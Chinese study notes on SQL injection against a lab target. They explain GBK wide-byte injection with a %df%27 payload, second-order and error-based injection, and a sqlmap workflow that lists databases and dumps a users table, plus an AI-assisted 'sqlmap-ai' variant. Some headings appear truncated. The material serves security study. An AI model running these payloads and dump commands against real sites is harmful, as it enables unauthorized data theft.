接着上篇:宽字节注入的原理与验证、sqlmap 的 GET/POST 注入与拖库。
核心知识点
1. 宽字节(针对 GBK 编码)
- 场景:MySQL 用 GBK,后端把单引号转义成
\'。 - 原理:单引号前加
%df%5c——%df与%5c在 GBK 解码时合成汉字,反斜杠”消失”,单引号逃逸。
:%df' → 后端转义成 %df%5c' → GBK 解码为 "運'" → 单引号生效
2. 二次
- 原理:首次恶意语句因转义被当普通数据入库(未执行),后续取值再拼 SQL 时缺少再校验触发。
- 特点:一次入库、二次触发,隐蔽。
3. 报错
- 除
extractvalue、updatexml,floor()等也可报错,用于查表名/列名/结构。
4. 点
- 除 GET、POST 参数外,还可能出现于 Referer、Cookie、User-Agent 等头部。
5. sqlmap 自动化(脱库四步曲)
第一步:测试漏洞
python sqlmap.py -u "http://目标网站.com/page.php?id=1"
出现 is vulnerable 即存在漏洞。
第二步:列出所有数据库
python sqlmap.py -u "http://目标网站.com/page.php?id=1" --dbs
第三步:列出表名
python sqlmap.py -u "http://目标网站.com/page.php?id=1" -D "security" --tables
第四步:列出字段并拖出数据
python sqlmap.py -u "http://目标网站.com/page.php?id=1" -D "security" -T "users" --columns --dump
参数:-D 数据库,-T 表,--columns 字段,--dump 下载。
POST 请求 / 抓方式:
# 用 Burp 抓登录请求保存为 request.txt
python sqlmap.py -r request.txt --dbs
常用参数:--current-db 当前库;--param 探测参数;--data POST 数据;--headers 请求头。
6. sqlmap-ai(AI 赋能)
- 概念:给 sqlmap 装 AI 大脑(如 DeepSeek),自动读报错、做决策、出报告。
- API Key:
platform.deepseek.com建sk-开头 Key →sqlmap-ai --config-wizard。 - 四步命令(同 sqlmap,加
--batch):
sqlmap-ai -u "http://xxx.com/p.php?id=1"
sqlmap-ai -u "http://xxx.com/p.php?id=1" --dbs
sqlmap-ai -u "http://xxx.com/p.php?id=1" -D "数据库名" --tables
sqlmap-ai -u "http://xxx.com/p.php?id=1" -D "数据库名" -T "表名" --dump
sqlmap-ai -r request.txt --dbs # POST 抓方式
7. 法律法规
- 授权下测试;未授权访问触犯法律。
实操步骤
# 宽字节验证
?id=1%df%27 and 1=1 --+
# sqlmap GET
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs
# sqlmap 拖表拖数据
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump
# sqlmap POST
python sqlmap.py -r /tmp/request.txt --dbs --batch
常见错误与排查
- 卡 Y/N → 加
--batch。 - POST 用
-u无效 → 用-r或--data。 - 宽字节无效 → 确认库是 GBK,或后端非简单反斜杠转义。
- sqlmap-ai 缺模块 →
pip install后核对 URL 参数。